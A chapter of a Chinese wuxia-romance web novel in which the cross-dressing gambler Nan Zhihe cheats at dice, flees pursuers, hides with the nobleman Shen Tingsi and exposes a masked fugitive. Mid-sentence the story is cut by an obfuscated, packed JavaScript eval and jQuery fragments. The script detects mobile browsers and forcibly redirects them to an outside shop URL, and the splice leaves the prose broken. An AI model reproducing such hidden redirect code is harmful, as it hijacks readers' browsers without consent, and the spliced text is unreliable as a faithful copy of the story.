锦东城辽阔,繁华无限。一座构建雄伟的金殿前,随意挂了个牌子“便宜坊”。
南枝和斜坐在桌上,墨绿色衣摆顺着檀木桌腿垂下,乌黑的秀发高高束起。一堆人围在一个长桌前,男男女女有赌鬼有烟鬼,正聚精会神地盯着桌面上的情形。
对面的人开蛊,瞳孔骤然收缩,手指微微颤抖:“不...不...这不可能!!!”
南枝和甩甩扇子,笑道:“你还有一次机会。下把再输,这些钱,还有那位姐姐就都是我的咯。”
骰子碰撞在黑蛊上咯吱作响,老翁再次开蛊,三个一点安静地躺在桌子上。正巧一缕阳光透窗斜射进来,三道银光反射到老翁的瞳仁里。
那是三道银线,从三个骰子一直延伸到纤细的手指上。南枝和藏在扇子下掩护的手还未收回,右手攥拳放在嘴边尴尬地假装咳嗽几下。
“你敢骗我?”老翁震怒,声音有些沙哑,一手抓着姑娘,另一掌把桌子震裂。
南枝和利落地跳下桌,顺势捞起桌子上的银票晃了晃:“多谢款待。”
接着是一阵风刮过耳边,长臂横在她左侧,南枝和利落地躲开,倒退了几步。
咯咯咯咯咯咯咯,喊声响彻阁楼。
众人频频回头,目光全都堪堪的落在门口处。一直公鸡从门外飞扑进来,狠狠地啄了一下老翁的腿。他疼得哇哇大叫,一边松开姑娘的肩膀,一边愤怒得想要抓住那只可恶的公鸡,给它个教训。
南枝和一把握住姑娘的腰肢,在她耳侧小声说了句'快走'。
那只公鸡又扑棱好几下,飞起来盯着他的大肚子狠狠的啄了好几下,老翁的手上胳膊上也都被啄的血肉横飞。他吃痛,扑个空,然后在众人的面前完完全全摔了个狗吃屎。
而那只公鸡昂着高贵的头,鸡冠高挺的立在那里,似乎在邀功。
南枝和竖个大拇指,道:“旺财,你真棒!”
几个人捂嘴小声道:“谁家的公鸡会起名叫旺财呀,哈哈哈哈。”
然后那公鸡又跑到刚刚说小话那几人都面前扑腾扑腾翅膀,连个正眼也没留给南枝和。
人群里又突然冲出几人,似乎是和那老翁一伙的,提拳就向少年砸去,拳法又急又凶。
众人都为少年捏了一把汗,只见少年左右一闪,足底一踏,轻松的避开他们的攻击,然后绕到他们身后,双手拍肩,待二人回头,两拳正中他们面门,两个打手鼻血横流,倒下晕了。剩下的打手也争相恐后的挥拳,一一都被打下,几招之下,地面上躺着晕了不少人。
南枝和一步一步走向老翁,所踏之处黑靴作响,像是踩在心尖上。周围人见状,噤了声,一边感叹这个南公子是真疯,一边怕连累到自己。
老翁被打怕了,蜷缩着不断后退:“把东西留下,不然你会付出代价的!”
少年的脸色一下变了:“后悔?好啊,我倒是好奇这代价是什么。”随后,嘴角的弧度又稍稍向上翘起。只不过这次,她的眼里竟出现了淡淡的怒意,她手一扬,手里的的白粉翻飞,遮挡了众人的视线。
白粉散去,人早就跑干净了。
对于平时的南枝和来说,甩开追兵轻轻松松。但只不过前一阵追家里那个旺财的时候不小心崴个脚,如今倒显得有些费力了。
跑了十条街之后,南枝和弯腰,双手捂着膝盖,上气不接下气。心想这也太锲而不舍了吧,不就赢了点钱,还拉个漂亮姐姐走了吗,至于追他跑十条街吗。
在追到第十二条街的时候,南枝和又跑回了便宜坊,后面的人还不断喊着站着别跑。
不跑不跑,不别追我就不跑了嘛。当然不跑是不可能的。
她上二楼的时候,追兵已到拐角。她随便拉开了一扇门,侧身躲了进去。
刚把门合上,南枝和还未转头,一股清冽的酒味就扑面而来。她合门的动作很轻,但声音还是一丝不苟的传到后面。
未等她再有动作,一道低沉的声音传来:“......出去。”
南枝和缓缓转身,低着头,拱手行礼,道:“这位公子,我本无意闯入,在下目前遇到点事情,还请阁下让我在这里待上一会,事情解决之后我会自行离开。”
刚才没有仔细观察,这一抬头,南枝和发现屋内雾气弥漫,白色纱幔轻轻飘着,视线若有若无的被遮挡着,但是却能看到一个人形。
那人身影挺拔,约莫比她高一个头左右,着白色中衣,领口微微敞开着,乌黑的秀发散落,有几缕还散漫的垂在胸前,脖子上的玉石小挂坠紧紧贴在雪白的肌肤上。
虽然远远看不清楚,但南枝和隐隐约约能判断出这绝对不是什么普通玩意,眼前的这个人也不是什么普通人,极大可能是哪家的金贵公子。而且这个家族再不济,也必然在世家大族内排上前几。
南枝和内心啧啧啧的感叹着,果然想要成为富婆,干的一手好活也不如生的好啊。
见南枝和没有反应,那人有些微愠,语气也冰冷几分:“出去,不要让我说第二遍。”
一只手透过雾气伸过来想要把她推出去,可她反应更快,横臂一档,把面前的人顺手抵在门上,那人似乎受伤了,挣扎了几下就动弹不得了。
男人的温润的呼气打在她的脸上,一股橘子味道侵入鼻腔,南枝和莫名觉得好闻。
刚刚雾气阻挡,南枝和没有看清他的面目,如今近在咫尺,她心里暗道真是个美人,就是脾气差了点,倒也算是国色天香。
眼前的人棱角分明,睫毛微微垂着,丹凤眼尾有些红晕,只是表情怒意更甚。
“...放开。”
“不放。”
“...你放不放?”
“不。”
美人脾气不好,语气很横。只不过他没想到,他横,南枝和更横。
门外突然有猛烈的敲门声,南枝和吓得一激灵,声音从外面传进来:“请问有没有见过一个头戴草帽,身着墨绿色衣服的疯子?”
南枝和马上捂住他的嘴,心里捏了一把汗,尴尬地笑笑。抓他就抓他,骂他是疯子是什么鬼......然后用一个可怜巴巴的眼神看着他,那意思再明显不过,就是帮帮她。
半天没有回应,掌心好巧不巧贴在美人的嘴唇上,传来阵阵温度。
很好,很好。
美人被眼前的不速之客气的发颤,然后嗤笑一声,假意顺从的点点头,眼底却没有温度。
南枝和把捂着他的手放下,只听见他拖着长长的调子哦了一声,然后在南枝和极度请求的眼神下,冷冰冰的说道:“有。”
南枝和:“......”
外面的人听到声音,顿时就要踹门。
南枝和慌乱的把面前的人拉走,白纱幔胡乱的飘着。开门的时候,那侍从只是见到一个坐在榻上,被子遮住
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13751065|145450||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
下半身的白衣公子,没见到目标,他语气很不客气地道:“人在哪?”
那人只是漫不经心地眨眨眼,然后缓缓说:“在..........”
那领头的侍从很着急,但觉得眼前的人压迫感实在太强,还是忍着耐心听他说话。
被子下南枝和见他马上就要说出来,心里一惊,轻轻掐了他一把。倒也不疼,但还是让美人痒的‘嘶’了一声,这一下让他有所收敛,然后不急不慢的道:“......不知道。”
侍从一下恼了,指着他的鼻子破口大骂:“你这人怎么回事,你刚刚不是还说‘有’吗?”
美人只是摆弄了一下他修长的手指,另一只手藏在被下,轻推着南枝和的肩膀。脸上却不动声色:“...是吗?我忘了。”
“你,你是不是耍我玩呢?”那领头的脸色气的发红,怒气冲天,抬手就要冲着他打来,却被一个黑影挡住。那一群人被打的屁滚尿流,从地上爬起正欲再战,只听到那美人冷冷道:“全部拿下。”
须臾之间,一群身穿官服的人破窗而入,把以老翁为首的人团团围住,反手一剪全部扣住。
那黑影抱拳拱手,腰间的沈家玉牌轻轻摇晃,道:“逃犯已全部捉拿,属下来迟,请公子赎罪!”
南枝和一手翻开被子,干净利落得站起来,笑嘻嘻道:“沈公子,不用谢。”
沈听肆冲着南枝和挑挑眉:“什么时候发现的?”
南枝和收了嘴角:“第一,刚才赌蛊的时候他的手微微颤抖,尽管用力克制住了,但打我那一掌也证明了他的手腕有伤,而且是重伤。第二,他追我那么久却始终没有追上,证明他腿脚也不好。锦东城定期会清理流浪人口,也会记录健康情况。所有能留在城里的流浪人口都会登记在册,他却不在,说明什么,说明他要么是外地人要么是监狱里刚受刑的死囚。第三,他的声音沙哑。”
黑影疑惑:“他的声音沙哑有什么不对?”
南枝和道:“声音沙哑才不对,他虽然长满白发,脖颈上布满皱纹,可手背上却很光滑,证明他的喉咙处非外力导致,他的嗓子是自己服药损坏。他做了这么多是想隐瞒什么呢,那就是这张脸是个假皮。”
黑影走到那老翁面前,伸手用力一扯。面具之下显现出一张青年人的脸,所有人都为之一震。因为那根本就不是一张正常的人脸,半面脸崎岖不平,上面凸凹走向形似玫瑰。
南枝和把手不安分地搭在沈听肆的肩上,继续道:“不过这些都不能让我彻底肯定他的身份,最后让我真正确认的,还是你呀。”
沈听肆活这么多年还是第一次遇到这么大胆的,说不上喜爱,但也谈不上讨厌,只是继续顺着他道:“我?”
南枝和自顾自地说,分毫没注意自己手搭的位置:“对,能在这便宜坊住的寥寥无几。最后,他身上的这个玉牌快闪瞎我的眼了,想不知道是沈家都难。谁不知道沈家最近出了个叛徒?”
黑影第一次见到敢离自家公子那么近的人,心道这人要完蛋了,公子最讨厌别人触碰了。
沈听肆笑道:“嗯,还算是聪明。你...”
沈听肆话还没说完,只觉脖子被轻轻扯了一下。南枝和收回搭在他身上的手,径直跑到窗户边,晃了晃刚扯下来的坠子道:“这是报酬。”
然后手拄窗框从二楼跃了下去,只留给他们的只剩一个墨绿色的背影。